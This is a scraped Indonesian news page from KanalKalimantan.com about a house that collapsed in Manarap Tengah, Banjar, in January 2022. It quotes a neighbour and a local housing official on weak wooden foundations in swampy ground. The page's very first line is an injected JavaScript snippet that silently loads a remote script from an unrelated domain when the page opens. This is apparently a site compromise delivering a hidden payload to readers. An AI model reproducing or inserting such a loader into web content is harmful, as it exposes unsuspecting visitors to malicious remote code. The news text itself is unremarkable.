(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kasus Rumah Ambruk di Manarap Tengah, Begini Analisis Kabid di Disperkim Banjar


KANALKALIMANTAN.COM, MARTAPURA – Sebuah rumah warga di Kompleks Bumi Wahyu Utama, RT 6 RW 3 Desa Manarap Tengah, Kecamatan Kertak Hanyar, Kabupaten Banjar, ambruk pada Selasa (18/1/2022).

Udin, tetangga seberang rumah mengatakan, rumah yang dihuni oleh empat orang itu telah berdiri hampir 13 tahun. Total tiga kali berganti penghuni, dan pernah sekali direnovasi oleh penghuni kedua.

“Waktu itu pernah sama si penghuni kedua, rumahnya direnovasi dengan ditambahkan tiang di bagian teras rumahnya, dan yang menempati sekarang sudah orang ketiga,” ujarnya saat ditemui oleh Kanalkalimantan.com, Kamis (20/1/2022).

Tetangga dari rumah ambruk ini mengatakan tidak ada terjadi bencana maupun kejadian apapun sebelum rumah itu ambruk.

 

Baca juga : PJU Terpasang, Jalan A Yani Km 20-24 Liang Anggang Tak Lagi Gelap

“Sebelumnya tidak ada terjadi apa-apa, bahkan saat bencana banjir Januari lalu bangunan rumah juga tidak terendam, karena rumah beliau dilihat cukup tinggi,’ jelas Udin.

Dari hasil analisa tukang yang sempat melihat kejadian, kata Udin, memang tiang penyangga yang dipakai tidak banyak untuk membangun rumah, sehingga tidak kuat mengikat tiang lain di bawah bangunan rumah.

“Ada seorang tukang berpendapat kalau tiang suai sebagai pengikaat tiang lainnya kurang banyak yang dipakai, sehingga bangunannya agak turun ke belakang, makanya dinding belakang turut jebol,” beber Udin berdasar pengamatan salah satu tukang.

Diketahui sampai saat ini belum ada tindakan maupun penanganan ganti kerugian dari dari pihak pengembang perumahan tersebut.

 

Ahmad Rizqon, Kabid Penyediaan Perumahan Disperkim Banjar. Foto: wanda

Baca juga : Pelajar MTs Arrahmatul Abadiyyah Bikin KTA Pepustakaan Palnam

“Sebenarnya pembangunan perumahan ini sempat terhenti, kemudian diambil alih oleh developer lain, juga sampai sekarang developernya turut berganti-ganti,” ungkap Udin.

Di tempat terpisah, Kepala Bidang Penyediaan Perumahan Dinas Perumahan dan Permukiman (Disperkim) Kabupaten Banjar, Ahmad Rizqon mengungkapkan, pihaknya akan melakukan peninjuan ke lokasi, serta akan berkordinasi dengan pihak pengembang.

“Yang jelas akan ada tanggung jawab dari si pengembang,” kata Rizqon saat ditemui KanalKalimantan.com, Kamis (20/1/2022) siang.

Rizqon menyatakan memang bisa saja terjadi karena ada kegagalan struktur pondasi rumah yang dibangun di tanah rawa Kabupaten Banjar itu. Mengingat banyak bangunan atau hunian warga memilih kayu galam sebagai pondasi utama.

 

Baca juga : Persebaru Layangkan Somasi ke Asprov PSSI Kalsel, Bila Tak Direspon Jalur Hukum Pilihan Akhir

Beberapa faktor seperti besarnya tegangan lentur maupun geser sunduk pada beberapa posisi tiang, terutama yang mengalami kombinasi pembebanan. Kondisi itu berpotensi menyebabkan kepatahan pada bagian sunduk.

Kemudian, faktor selanjutnya ialah terjadi pelapukan pada bagian kepala pancangan kayu galam akibat penancapan yang kurang sempurna. Sehingga menyebabkan penurunan atau pergeseran lapak yang bertumpu pada bagian tersebut.

“Tapi kalau memang ambruk ke bawah itu bisa terjadi karena struktur bawahnya, seperti pancangan di dalamnya yang tidak kuat menahan beban di atasnya,” jelas Rizqon.

Terlebih rumah lokal Banjar dibuat dengan tiang pondasi dari kayu utuh yang potongannya tidak terlalu banyak, kemudian disambung dengan menggunakan kayu bentuk balok.

 

Baca juga : Perempuan Penjual Zenith di Cempaka Dibekuk Polisi

Untuk itu pihak dinas akan melakukan peninjauan yang dilihat dari beberapa segi, seperti berada di perumahan macam apa bangunan tersebut, juga akan memeriksa dokumen beserta izin pembangunannya.

Rizqon berharap kepada pengembang-pengembang rumah maupun tukang di Kabupaten Banjar senantiasa membangun rumah dengan mengikuti standar teknis yang diberikan pemerintah.

“Ikuti standarnya seperti pola ukuran dan pemilihan jenis kayu yang penting dilakukan dengan penuh ketelitian dan perhitungan yang matang, tidak asal-asalan, agar menghindari kemungkinan buruk terjadinya ambruk rumah,” tandas Rizqon. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Desy Arfianty

Recent Posts

Dua Anggota Polda Kalsel Masuk 7 Terbaik Penghargaan Divisi Humas Polri

KANALKALIMANTAN.COM, BANJARBARU - Kadiv Humas Polri Irjen Sandi Nugroho memberikan penghargaan kepada tujuh anggota Humas… Read More

11 jam ago

Berikan Pelayanan Maksimal, Pemkab Banjar Bentuk Tim Pelaksana Pemberangkatan dan Pemulangan CJH

KANALKALIMANTAN.COM, MARTAPURA - Sehubungan dengan makin dekatnya musim haji 2024 Sekretariat Daerah (Setda) Bagian Kesra… Read More

11 jam ago

Ini Daftar 58 Penghargaan Kota Banjarbaru dari 2021 hingga 2024

KANALKALIMANTAN.COM, BANJARBARU – Ragam penghargaan hasil inovasi memberikan pelayanan terbaik bagi masyarakat Kota Banjarbaru diraih… Read More

11 jam ago

Bappedalitbang Banjar Gelar Rakor untuk Evaluasi Kegiatan DAK

KANALKALIMANTAN.COM, MARTAPURA – Kepala Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar Nashrullah… Read More

12 jam ago

Embat Perhiasan Teman Sendiri, Perempuan 26 Tahun di Banjarbaru Masuk Bui

KANALKALIMANTAN.COM, BANJARBARU - Seorang perempuan muda diringkus polisi ketahuan mencuri perhiasan emas dan handphone di… Read More

12 jam ago

DKUMPP Kabupaten Banjar Gelar Kajian Awal RPIK 2025 – 2045

KANALKALIMANTAN.COM, MARTAPURA - Dinas Koperasi, Usaha Mikro,Perindustrian dan Perdagangan (DKUMPP) Kabupaten Banjar menggelar ekspose awal… Read More

12 jam ago

This website uses cookies.